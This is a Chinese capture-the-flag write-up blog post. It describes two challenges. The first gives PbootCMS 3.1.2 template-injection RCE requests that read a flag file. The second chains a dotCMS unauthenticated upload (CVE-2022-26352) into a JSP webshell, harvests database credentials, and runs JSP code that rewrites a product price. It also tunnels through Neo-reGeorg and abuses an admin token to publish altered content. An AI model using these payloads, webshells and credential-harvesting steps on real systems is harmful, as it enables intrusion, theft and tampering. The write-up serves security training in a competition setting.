强网拟态


pboot cms V3.1.2 “虚假的无文件落地RCE” - Suanve - Blog

GET /?snakin=}{pboot:if((get_lg/*-*/())/*&&*/(pack/*-*/('H*',(strstr/*-*/(get_backurl/*-*/(),'636174202f666c6167')))))}{/pboot:if}&backurl=636174202f666c6167 HTTP/1.1
Host: 172.29.60.11
Cookie: lg=system
Connection: close
GET /?snakin=}{pboot:if((get_lg/*-*/())/**/('/flag','./template/default/datetimepicker/js/locales/tZvCeV7KQFgzoJ2nlZnTSJS5BHxsRMvpyhc9tKKO.txt'))}{/pboot:if} HTTP/1.1
Host: 172.29.60.12
Cookie: lg=copy
Connection: close


GET /template/default/datetimepicker/js/locales/tZvCeV7KQFgzoJ2nlZnTSJS5BHxsRMvpyhc9tKKO.txt HTTP/1.1
Host: 172.29.60.12
Connection: close

智能行为裁决云服务赛题(dotCMS Demo)

用jsp进行rce(CVE)

style="background-image: url('/dA/2e5d54e6-7ea3-4d72-8577-b8731b206ca0/image/1200w/50q/adventure-boat-exotic-1371360.jpg');"

CVE-2022-26352

CVE-2022-26352 DotCMS未授权文件上传漏洞 - 火线 Zone-安全攻防社区

/api/content/ 上传接口在解析 multipart 文件名时未正确过滤目录穿越,导致可以把任意文件写到 Tomcat ROOT 等位置,从而上传 JSP WebShell 实现未授权 RCE。

POST /api/content/构造

Content-Disposition: form-data;
 name="name";
 filename="../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/rce.jsp"

http://172.29.70.100/rce.jsp?cmd=

在很多系统(尤其是像 dotCMS 这类内容管理系统、分布式存储系统或大型应用)中,文件系统会按特定规则对 UUID 分片存储,核心目的是避免单目录文件数量过多导致的性能问题

UUID 通常是 32 位十六进制字符 + 4 个连字符(如 2e5d54e6-7ea3-4d72-8577-b8731b206ca0),系统会取 UUID 的前几位字符拆分目录层级:

  1. 取 UUID 的 第一个字符(或前两位) 作为一级目录(比如 2);
  2. 取第二个字符(或接下来的一位)作为二级目录(比如 e);

首页背景 URL 中的 UUID 为 2e5d54e6-7ea3-4d72-8577-b8731b206ca0。按惯例可推到 /data/shared/assets/2/e/...。实际列目录:

ls /data/shared/assets/2/e

可见若干子目录,我们已经找到了它的位置

2e1002c0-696f-4b7c-929c-5304b2a1bdc1
2e5dc3c8-e52d-4807-98c6-0941438a7560
...

可以把图片base64后分块上传,但确实有点麻烦哈哈哈,而且肯定会有阻断

搜索 *.properties 文件中包含 db.urljdbc 关键字的行,通常这些行用于数据库连接配置。

grep -ni "db.url\|jdbc" /srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/*.properties || echo NO_DB_URL

/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:3:jdbcUrl=jdbc:postgresql://localhost/dotcms    (***)
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:8:##driverClassName=com.mysql.jdbc.Driver
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:9:##jdbcUrl=jdbc:mysql://localhost/dotcms?characterEncoding=UTF-8&useLegacyDatetimeCode=false&serverTimezone=UTC
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:15:##driverClassName=oracle.jdbc.OracleDriver
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:16:##jdbcUrl=jdbc:oracle:thin:@localhost:1521:XE
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:22:##driverClassName=com.microsoft.sqlserver.jdbc.SQLServerDriver
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties:23:##jdbcUrl=jdbc:sqlserver://{your server}.database.windows.net:1433;databaseName={your DB name}
/srv/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotmarketing-config.properties:573:#QUARTZ_DRIVER_CLASS=org.quartz.impl.jdbcjobstore.oracle.weblogic.WebLogicOracleDelegate

用 PostgreSQL 数据库,连接方式为 JDBC。

递归地搜索 /srv 目录下所有文件中包含 jdbc:postgresql 的行。grep -R "jdbc:postgresql" /srv,从 RASP 日志中提取到了真实 DB 环境变量:

DB_BASE_URL=jdbc:postgresql://db/dotcmsDB_USERNAME=dotcmsdbuserDB_PASSWORD=pg_K7m2pQx!2025

1、不从外部连 DB,而是复用 dotCMS 自己的 JDBC 配置

通过存在的 rce.jsp 文件,我们能够执行 sh 命令,并上传新的文件dbtask.jsp到 Tomcat Web 服务器的 webapps/ROOT 目录

<%@ page import="java.sql.*" %>
<%
out.println("DB PROBE START<br/>");
String url = "jdbc:postgresql://localhost/dotcms";
String user = "dotcmsdbuser";
String pass = "pg_K7m2pQx!2025";
Connection conn = null;
try {
    Class.forName("org.postgresql.Driver");
    conn = DriverManager.getConnection(url, user, pass);
    
    // 列出一些可疑的数据库表(前 100 条)
    Statement st = conn.createStatement();
    ResultSet rs = st.executeQuery(
        "SELECT table_schema, table_name " +
        "FROM information_schema.tables " +
        "WHERE table_schema NOT IN ('pg_catalog','information_schema') " +
        "ORDER BY table_schema, table_name LIMIT 100"
    );
    while (rs.next()) {
        out.println(rs.getString(1) + "." + rs.getString(2) + "<br/>");
    }
    rs.close();
    st.close();

    // 查找商品数据,查询包含 "Rossignol Evo 70 Ski Boots" 的记录
    PreparedStatement ps = conn.prepareStatement(
        "SELECT inode, title FROM contentlet WHERE title ILIKE ?");
    ps.setString(1, "%Rossignol Evo 70 Ski Boots%");
    rs = ps.executeQuery();
    out.println("<br/>MATCHED CONTENTLET:<br/>");
    while (rs.next()) {
        out.println("inode=" + rs.getString("inode") + " title=" + rs.getString("title") + "<br/>");
    }
    rs.close();
    ps.close();
} catch (Exception e) {
    e.printStackTrace(new java.io.PrintWriter(out));
} finally {
    if (conn != null) try { conn.close(); } catch (Exception e) {}
}
out.println("DB PROBE END");
%>
curl --socks5-hostname 192.168.139.41:1080 -s \
'http://172.29.70.100/dbtask.jsp' | sed -n '1,120p'

访问触发,得到结果后

<%@ page import="java.sql.*,java.math.BigDecimal" %>
<%
String url = "jdbc:postgresql://localhost/dotcms";
String user = "dotcmsdbuser";
String pass = "pg_K7m2pQx!2025";
String targetName = "Rossignol Evo 70 Ski Boots";
Connection conn = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
    Class.forName("org.postgresql.Driver");
    conn = DriverManager.getConnection(url, user, pass);

    // 更新价格为 1 美元
    ps = conn.prepareStatement(
        "UPDATE web_product SET price = 1 WHERE title = ?");
    ps.setString(1, targetName);
    int updated = ps.executeUpdate();
    out.println("UPDATED_ROWS=" + updated + "<br/>");
    ps.close();

    // 查询并验证更新后的数据
    ps = conn.prepareStatement(
        "SELECT inode, title, price FROM web_product WHERE title = ?");
    ps.setString(1, targetName);
    rs = ps.executeQuery();
    while (rs.next()) {
        out.println("inode=" + rs.getString("inode")
                    + " title=" + rs.getString("title")
                    + " price=" + rs.getBigDecimal("price")
                    + "<br/>");
    }
    rs.close();
    ps.close();
} catch (Exception e) {
    e.printStackTrace(new java.io.PrintWriter(out));
} finally {
    if (rs != null) try { rs.close(); } catch (Exception e) {}
    if (ps != null) try { ps.close(); } catch (Exception e) {}
    if (conn != null) try { conn.close(); } catch (Exception e) {}
}
%>

覆盖后再次访问

UPDATED_ROWS=1
inode=12345 title=Rossignol Evo 70 Ski Boots price=1

与直接运行 psql 命令不同,JSP 文件执行的是 Java 代码,且通过 JDBC 与数据库进行交互

2、从外部连

从W&M那里get到的

正向代理,直接连那个端口( 5432)

要注意ip问题,他那个(数据库)和web服务不是在一个机器。

curl -v db(主要是没找到在哪代理dns😂😂)拿到ip地址192啥啥,

L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

用neo-reg做个代理,然后navicat代理到proxifier连的

我的一些推测:

首先,你需要通过 neoreg.py 生成一个 Web Shell 文件并上传到 Web 服务器上。

python neoreg.py generate -k password

这条命令将生成多个文件(如 tunnel.jsp, tunnel.php, tunnel.ashx 等),你需要将这些文件上传到目标 Web 服务器上。

然后,你可以使用 neoreg.py 脚本连接到 Web 服务器,并通过该服务器创建一个 SOCKS5 代理。

python3 neoreg.py -k password -u http://your-web-server.com/tunnel.php
  • -k password: 你在生成 tunnel 文件时设置的密码。
  • -u http://your-web-server.com/tunnel.php: 这是你上传的 Web Shell 文件 URL,它将用作连接 Web 服务器的隧道入口。

运行后,你应该看到类似如下的日志:

Log Level set to [DEBUG]
Starting socks server [127.0.0.1:1080]
Tunnel at:
  http://your-web-server.com/tunnel.php

这表示 neoreg.py 成功启动了一个 SOCKS5 代理,监听在本地地址 127.0.0.1 的端口 1080。你现在可以通过 127.0.0.1:1080 来访问该 SOCKS5 代理。

连上数据库后那确实操作会比较方便哈哈哈

以admin身份操作

REST APIs | dotCMS Dev Site

All APIs (OpenAPI v3) | dotCMS Dev Site

Authentication | dotCMS Dev Site

在官方文档找见如下

POST /api/v1/authentication/api-token → 拿 admin JWT;POST /api/content/_search → 用 query +title:"Rossignol Evo 70 Ski Boots" 找到产品;GET /api/v1/content/{identifier} → 拿完整 entity;构造最小 JSON,仅改 retailPrice;PUT /api/content/publish/1 + form 字段 json=<内容> → 更新并发布;再 GET /api/v1/content/{identifier} + 抓前端 HTML 验证。

但是直接访问/api/v1/authentication/api-token是个很怪的行为,为了降低报警,我们选择在最后一次用弱密码admin@dotcms.com/admin登陆admin时F12拿取token($TOKEN)(access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3MTgxNjdjOC1jN2ZmLTQyYzAtOWY1MC1mMjdlMjI4NWU2ZTMiLCJ4bW9kIjoxNzY0MzgwMjUwMzc1LCJzdWIiOiJkb3RjbXMub3JnLjEiLCJpYXQiOjE3NjQzODAyNTAsImlzcyI6IjZmNmUzOTk3OTMiLCJleHAiOjE3NjQ0NjY2NTB9.RB-S-S0xWtydpwgGr8maLHQeD9fbx_SSDdR7LEqdfAg)。实则用登上后发现没有操作的地方(其实是没通过80端口对我们开放)

让我们用这个 token 确认当前身份:

curl --socks5-hostname 192.168.139.41:1080 -s \
    -H "Authorization: Bearer $TOKEN" \
    http://172.29.70.100/api/v1/users/current

返回:

{"[email":"admin@dotcms.com](mailto:email":"admin@dotcms.com)","givenName":"Admin",...,"userId":"dotcms.org.1"}

说明已成admin

Retrieval and Querying | dotCMS Dev Site

用老版内容搜索 API找到商品内容:

curl --socks5-hostname 192.168.139.41:1080 -s \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"query":"+title:\"Rossignol Evo 70 Ski Boots\"","limit":5}' \
http://172.29.70.100/api/content/_search

返回里有一条内容:

{
"contentType":"Product",
"identifier":"39aa1441-2933-4c81-b3f4-cc154195595b",
"inode":"845c17ee-ba36-4029-b243-44e8228e9260",
"retailPrice":"134.94",
"URL_MAP_FOR_CONTENT":"/store/products/rossignol-evo-70-ski-boots",
...
}

ps:这个是正常全部内容(改一下这个命令即可,但没必要)

{
  "entity": {
    "contentTook": 17,
    "jsonObjectView": {
      "contentlets": [
        {
          "publishDate": "2020-09-02 16:45:22.27",
          "inode": "845c17ee-ba36-4029-b243-44e8228e9260",
          "host": "48190c8c-42c4-46af-8d1a-0cd5db894797",
          "locked": false,
          "image2Version": "/dA/845c17ee-ba36-4029-b243-44e8228e9260/image2/Rossignol Evo 70 Ski Boots 3.png",
          "stInode": "a1661fbc-9e84-4c00-bd62-76d633170da3",
          "contentType": "Product",
          "image3Version": "/dA/845c17ee-ba36-4029-b243-44e8228e9260/image3/Rossignol Evo 70 Ski Boots 2.png",
          "identifier": "39aa1441-2933-4c81-b3f4-cc154195595b",
          "image": "/dA/39aa1441-2933-4c81-b3f4-cc154195595b/image/Rossignol1.png",
          "urlTitle": "rossignol-evo-70-ski-boots",
          "productNumber": "519510",
          "tags": "skiing",
          "folder": "SYSTEM_FOLDER",
          "hasTitleImage": true,
          "sortOrder": 0,
          "specifications1": {
            "Model Year": "2019",
            "Warranty": "One Year",
            "Model Number": "RBH8160.245"
          },
          "hostName": "demo.dotcms.com",
          "modDate": "2020-09-02 16:45:22.27",
          "image3ContentAsset": "39aa1441-2933-4c81-b3f4-cc154195595b/image3",
          "image2ContentAsset": "39aa1441-2933-4c81-b3f4-cc154195595b/image2",
          "description": "<p>The Rossignol Evo 70 is the perfect option for the beginner to mellow intermediate skier who has a medium to wide forefoot and medium to wide leg shape. The 104mm last is very accommodating, by being the widest fit that Rossignol produces. The upper buckle has a Tool-Free Catch Adjustment that offers plenty of adjustability for getting the fit just right across your leg. Rossignol's new Comfort Fit T4 Liner is loaded with soft padding in the toe box and forefoot with some firmer padding in the heel and ankle pocket for additional support. If you are looking for a plush boot that fits a wider foot shape that is easy to adjust in the cuff, the Rossignol Evo 70 is the boot for you.</p>\n<ul>\n<li>Sensor Matrix Technology</li>\n<li>Bi-Injected Easy Entry</li>\n<li>Polyolefine Shell and Cuff</li>\n<li>Custom T4 Liner</li>\n<li>GripWalk Compatible</li>\n</ul>\n<p>&nbsp;</p>",
          "title": "Rossignol Evo 70 Ski Boots",
          "baseType": "CONTENT",
          "archived": false,
          "working": true,
          "live": true,
          "owner": "dotcms.org.1",
          "imageVersion": "/dA/845c17ee-ba36-4029-b243-44e8228e9260/image/Rossignol1.png",
          "image3": "/dA/39aa1441-2933-4c81-b3f4-cc154195595b/image3/Rossignol Evo 70 Ski Boots 2.png",
          "imageContentAsset": "39aa1441-2933-4c81-b3f4-cc154195595b/image",
          "languageId": 1,
          "URL_MAP_FOR_CONTENT": "/store/products/rossignol-evo-70-ski-boots",
          "image2": "/dA/39aa1441-2933-4c81-b3f4-cc154195595b/image2/Rossignol Evo 70 Ski Boots 3.png",
          "url": "/content.59703cfe-d654-4aad-9095-1c263b8235be",
          "titleImage": "image",
          "modUserName": "Admin User",
          "urlMap": "/store/products/rossignol-evo-70-ski-boots",
          "hasLiveVersion": true,
          "modUser": "dotcms.org.1",
          "category": [
            {
              "snow": "Snow"
            }
          ],
          "retailPrice": "134.94",
          "__icon__": "contentIcon",
          "contentTypeIcon": "inventory"
        }
      ]
    },
    "queryTook": 27,
    "resultsSize": 1
  },
  "errors": [],
  "i18nMessagesMap": {},
  "messages": [],
  "permissions": []
}

于是我们用这个标识发送新价格的 JSON($json):

{
"identifier": "39aa1441-2933-4c81-b3f4-cc154195595b",
"inode": "845c17ee-ba36-4029-b243-44e8228e9260",
"contentType": "Product",
"title": "Rossignol Evo 70 Ski Boots",
"retailPrice": "1",
"host": "48190c8c-42c4-46af-8d1a-0cd5db894797",
"languageId": 1,
"folder": "SYSTEM_FOLDER"
}

我们将通过 /api/content/publish/1 更新并发布

Saving Content - Legacy | dotCMS Dev Site

根据官方“Save Content Using REST API”的做法,更新/发布内容需要请求:

  • 方法:PUT
  • 路径:/api/content/publish/{languageId}
  • 类型:multipart/form-data
  • 字段:json:内容 JSON 字符串

我们直接用 admin token + –form-string 发送:

curl --socks5-hostname 192.168.139.41:1080 -s \
-X PUT \
-H "Authorization: Bearer $TOKEN" \
--form-string "json=$json" \
'http://172.29.70.100/api/content/publish/1'

这一步服务端返回空 body(老 API 常见行为),但没有报错。此时已经改变了商品价格。

让我们再次从 /api/v1/content/{identifier} 抓取这条内容:

Retrieval and Querying | dotCMS Dev Site

curl --socks5-hostname 192.168.139.41:1080 -s \ -H "Authorization: Bearer $TOKEN" \ 'http://172.29.70.100/api/v1/content/39aa1441-2933-4c81-b3f4-cc154195595b'

现在返回中已经变成:

"retailPrice":"1",
"inode":"45a8775e-4e99-476c-be3d-a1e1d2180eb1",
"modDate":1764337301059,
"publishDate":1764337301059,
...

可以看到:retailPrice 变为 “1”;inodemodDate 等字段也更新了,说明 dotCMS 创建了一个新版本并发布。

接下来弄图片(我们已经知道它的identifier了)

{
  "contentType": "Banner",
  "identifier": "2e5d54e6-7ea3-4d72-8577-b8731b206ca0",
  "title": "Explore the World",
  "caption": "Look Great Doing it. Stock up on New Apparel!!",
  "host": "48190c8c-42c4-46af-8d1a-0cd5db894797",
  "languageId": 1,
  "binaryFields": ["image"]
}
curl -x "socks5h://192.168.139.41:1080" -s \
  -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -F "json=$BANNER_JSON" \
  -F "file=@background_.jpg;type=image/jpeg" \
  "http://172.29.70.100/api/content/publish/1" 

成功上传图片

最后结果:

ps:图片这里触发了两次告警,有点出乎意料,毕竟修改数据库怎么来看都是更hacker一些(不过以这个方法理解的话以admin的身份更新新版本是非常正常的事情),因此更不能理解为什么图片反而会爆。我个人来看有两方面,一是

ls /data/shared/assets/2/e/2e5dc3c8-e52d-4807-98c6-0941438a7560/fileAsset

得到:

storeProductList.vtl

通过 HTTP 访问:

curl --socks5-hostname 192.168.139.41:1080 \
  -s '<http://172.29.70.100/dA/2e5d54e6-7ea3-4d72-8577-b8731b206ca0/fileAsset/storeProductList.vtl>' | head

返回内容以 Exif 头开头,是 JPEG 图片而非 Velocity 源码。结合 wc -l 等命令,说明磁盘上存在一个 .vtl 文件,但从 HTTP 视角看到的是经 dotCMS 管道处理后的图片二进制,而不是可读模板。

要真正修改背景图,从结构上看更合理的是直接修改 banner.vtl 或相关内容类型,而不是对 /dA 层做强制覆盖。

二是通过dotAdmin后台去更新的话,修改的内容会有差别的,这种80端口的api直接修改的方式,虽然是官方允许的行为,但是不在基线里。基线运维的逻辑是按照正常运维人员操作逻辑设计的,都在8443的dotAdmin内(悲)。

下面是最后截图:



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录